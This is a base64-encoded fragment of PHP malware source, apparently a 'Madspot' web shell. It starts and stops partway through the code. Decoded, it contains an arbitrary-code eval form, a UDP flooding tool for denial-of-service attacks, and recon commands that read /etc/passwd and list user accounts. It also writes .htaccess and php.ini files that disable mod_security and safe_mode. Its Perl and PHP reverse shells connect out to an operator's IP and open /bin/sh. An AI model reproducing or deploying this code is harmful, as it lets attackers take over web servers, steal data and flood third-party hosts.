snZ2xvYmFsX3ZhbHVlJ10uJyA8L3RkPicNCgkJLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snbG9jYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KCQkuJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydhY2Nlc3MnXS4nIDwvdGQ+PC90cj4nOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSkgew0KCQllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsNCgkJb2Jfc3RhcnQoKTsNCgkJcGhwaW5mbygpOw0KCQkkdG1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KCQllY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOw0KCX0NCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2V4dGVuJykpIHsNCgkJZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCgkJb2Jfc3RhcnQoKTsNCgkgICAgICRFWFQ9Z2V0X2xvYWRlZF9leHRlbnNpb25zICgpOw0KICAgICBwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicNCgkuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkNCgkuJzwvdGQ+PC90cj48L3RhYmxlPicNCgkuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7DQoJCQ0KICAgICAgICANCiAgICAgICAgZWNobyAnPC9kaXY+PGJyPic7DQoJfQ0KICAgIA0KICAgIA0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxDZW50ZXI+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPiAgICB8IHBocGluZm8gfDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdleHRlblwnKSI+ICAgfCBleHRlbnNpb25zICB8PC9hPjwvY2VudGVyPjxicj48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJnKFwncGhwZXZhbFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpOyByZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij48L2NlbnRlcj4nOw0KCWVjaG8gJzwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCiAgDQogICAgbWFkZm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIG1hZGhhc2goKQ0Kew0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQoJCQ0KCSk7DQoJDQoJbWFkaGVhZCgpOw0KCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQoJaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgllY2hvICI8Zm9ybSAgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPjxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvICI8L2Rpdj4iOw0KCW1hZEZvb3RlcigpOw0KICAgIA0KfQ0KQCRkb3MgPSAkX0dFVFsnZG9zJ107DQppZigkZG9zPT0icnVuIil7DQoNCiAgICAgICAgJHBhY2tldHM9MDsNCgkJaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CQ0KDQoJCSRob3N0ID0gQCRfR0VUWydob3N0J107DQoJCSRleGVjX3RpbWUgPSRfR0VUWyd0aW1lJ107DQoJCSRwb3J0dWRwID0gQCRfR0VUWydwb3J0J107DQoJDQogICAgICAgICR0aW1lPXRpbWUoKTsNCiAgICAgICAgJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7DQogICAgICAgIA0KICAgICAgICANCiAgICAgICAgZm9yKCRpPTA7JGk8NjUwMDA7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICAgJG91dCAuPSAnWCc7DQogICAgICAgIH0NCiAgICAgICAgd2hpbGUoMSl7DQogICAgDQogICAgICAgICAkcGFja2V0cysrOw0KICAgICAgICAgICAgaWYodGltZSgpID4gJG1heF90aW1lKXsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHBvcnR1ZHAsICRlcnJubywgJGVycnN0ciwgNSk7DQogICAgICAgICAgICBpZigkZnApew0KICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICBlY2hvICIkcGFja2V0cyAoIiAuIHJvdW5kKCgkcGFja2V0cyo2NSkvMTAyNCwgMikgLiAiIE1CKSBwYWNrZXRzIGF2ZXJhZ2luZyAiLiByb3VuZCgkcGFja2V0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIjsNCiAgICAgICAgIGVjaG8gIjwvcHJlPiI7DQogDQp9DQpmdW5jdGlvbiBtYWRkb3MoKQ0Kew0KICAgIG1hZGhlYWQoKTsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KICBlY2hvICc8Y2VudGVyPjxzcGFuPnwgVURQIERPU1NJRVIgfDwvc3Bhbj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVkcGhvc3QudmFsdWUsdGhpcy51ZHB0aW1lLnZhbHVlLHRoaXMudWRwcG9ydC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD1QT1NUPjxzcGFuPkhvc3QgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwaG9zdCIgdHlwZT0idGV4dCIgIHNpemU9IjI1IiAvPjxzcGFuPlRpbWUgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwdGltZSIgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIC8+PHNwYW4+UG9ydCA6PC9zcGFuPjxpbnB1dCBuYW1lPSJ1ZHBwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz48aW5wdXQgIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+IiAvPjwvZm9ybT48L2NlbnRlcj4nOw0KICBlY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyA+IjsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSAmJiAhZW1wdHkoJF9QT1NUWydwMyddKSkNCiAgICB7DQogICAgICAgICRwYWNrZXRzPTA7DQoJCWlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwkNCiAgICAgICANCiAgICAgICAgJGV4ZWNfdGltZT0kX1BPU1RbJ3AyJ107DQoJCSRob3N0PSRfUE9TVFsncDEnXTsNCgkJJHBvcnR1ZHA9JF9QT1NUWydwMyddOw0KCQ0KICAgICAgICAkdGltZT10aW1lKCk7DQogICAgICAgICRtYXhfdGltZT0kZXhlY190aW1lKyR0aW1lOw0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAgICRvdXQgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoaWxlKDEpew0KICAgIA0KICAgICAgICAgJHBhY2tldHMrKzsNCiAgICAgICAgICAgIGlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRwb3J0dWRwLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KICAgICAgICAgICAgaWYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgZWNobyAiJHBhY2tldHMgKCIgLiByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZCI7DQogICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgIH0NCiAgICANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgIA0KICAgIG1hZGZvb3RlcigpOyAgICAgICAgDQp9DQoNCmZ1bmN0aW9uIG1hZHByb2MoKQ0Kew0KICAgIG1hZGhlYWQoKTsNCiAgICBlY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPiI7DQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCiAgaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIikNCiAgew0KICAgICRwcm9jZXNzPWFycmF5KA0KICAgICJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsDQogICAgIkFjdGl2ZSBDb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwNCiAJIlJ1bm5pbmcgU2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KIAkiVXNlciBBY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwNCiAJIlNob3cgQ29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLA0KICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLA0KICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCiAgICApOw0KICAgIH0NCiAgZWxzZQ0KICB7IA0KICAgICRwcm9jZXNzPWFycmF5KA0KICAgICJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQogICAgIlN5c2xvZyIgPT4iY2F0ICAvZXRjL3N5c2xvZy5jb25mIiwNCiAgICAiUmVzb2x2IiA9PiAiY2F0ICAvZXRjL3Jlc29sdi5jb25mIiwNCiAgICAiSG9zdHMiID0+ImNhdCAvZXRjL2hvc3RzIiwNCiAgICAiUGFzc3dkIiA9PiJjYXQgL2V0Yy9wYXNzd2QiLA0KICAgICJDcHVpbmZvIj0+ImNhdCAvcHJvYy9jcHVpbmZvIiwNCiAgICAiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsDQogICAgIlNiaW4iPT4ibHMgLWFsIC91c3Ivc2JpbiIsDQogICAgIkludGVycnVwdHMiPT4iY2F0IC9wcm9jL2ludGVycnVwdHMiLA0KICAgICJsc2F0dHIiPT4ibHNhdHRyIC12YSIsDQogICAgIlVwdGltZSI9PiJ1cHRpbWUiLA0KICAgICJGc3RhYiIgPT4iY2F0IC9ldGMvZnN0YWIiLA0KICAgICJIREQgU3BhY2UiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhudWxsLG51bGwsXCcnLiRsaW5rLidcJykiPiB8ICcuJG4uJyB8IDwvYT4nOw0KICAgIH0NCiAgICBlY2hvICI8L2NlbnRlcj4iOyANCiAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgIHsNCiAgICAgICAgZWNobyAiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnID4iOw0KICAgICAgICBlY2hvIG1hZEV4KCRfUE9TVFsncDEnXSk7DQogICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgIH0NCiAgICAgZWNobyAiPC9kaXY+IjsNCiAgICAgbWFkZm9vdGVyKCk7DQogICAgIH0NCiAgICAgDQpmdW5jdGlvbiBtYWRzYWZlKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhNb2QpIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCdzaFwnKSI+fCAuaHRhY2Nlc3MocGVybCkgfCA8L2E+PC9jZW50ZXI+JzsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQ0KICAgIHsNCiAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWMtLS0tLS1FbmdpbmUgT2ZmDQpTZWMtLS0tLS1TY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+Jyk7DQogICAgZmNsb3NlKCRmaWwpOw0KICAgfQ0KICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQ0KICAgew0KICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOw0KICAgICAgZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYNCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsNCiAgICAgZmNsb3NlKCRmaWwpOw0KICAgIH0NCiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQ0KICAgIHsNCiAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOw0KICAgIGZ3cml0ZSgkZmlsLCdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcpOw0KICAgICBmY2xvc2UoJGZpbCk7IA0KICAgIH0NCiAgICBlY2hvICI8YnI+PC9kaXY+IjsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCn0NCg0KZnVuY3Rpb24gbWFkY29ubmVjdCgpDQp7DQogbWFkaGVhZCgpOw0KICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPnwgUEVSTCBBTkQgUEhQKHRocmVhZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcGFuPjwvaDM+IjsNCiBlY2hvICI8Zm9ybSAgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Bhbj48YnI+SVA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQogZWNobyAiPGJyPjxmb3JtICBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdwaHAnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwYW4+PGJyPklQOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L2NlbnRlcj4iOw0KIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsNCgkJCSRvdXQgPSBtYWRFeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+U3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICIuJF9QT1NUWydwMiddLiI6Ii4kX1BPU1RbJ3AzJ10uIjxicj5Db25uZWN0aW5nLi4uPC9wcmU+IjsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHNldF90aW1lX2xpbWl0ICgwKTsNCiRpcCA9ICRfUE9TVFsncDInXTsgDQokcG9ydCA9JF9QT1NUWydwMyddOyAgICAgDQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsNCg0KaWYgKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7DQoJDQoJJHBpZCA9IHBjbnRsX2ZvcmsoKTsNCgkNCglpZiAoJHBpZCA9PSAtMSkgew0KCQllY2hvICJDYW50IGZvcmshPGJyPiI7DQoJCWV4aXQoMSk7DQoJfQ0KCQ0KCWlmICgkcGlkKSB7DQoJCWV4aXQoMCk7ICANCgl9DQoNCglpZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpIHsNCgkJZWNobyAiRXJyb3I6IENhbid0IHNldHNpZCgpPGJyPiI7DQoJCWV4aXQoMSk7DQoJfQ0KDQoJJGRhZW1vbiA9IDE7DQp9IGVsc2Ugew0KCWVjaG8gIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsPGJyPiI7DQp9DQoNCmNoZGlyKCIvIik7DQoNCnVtYXNrKDApOw0KDQokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsID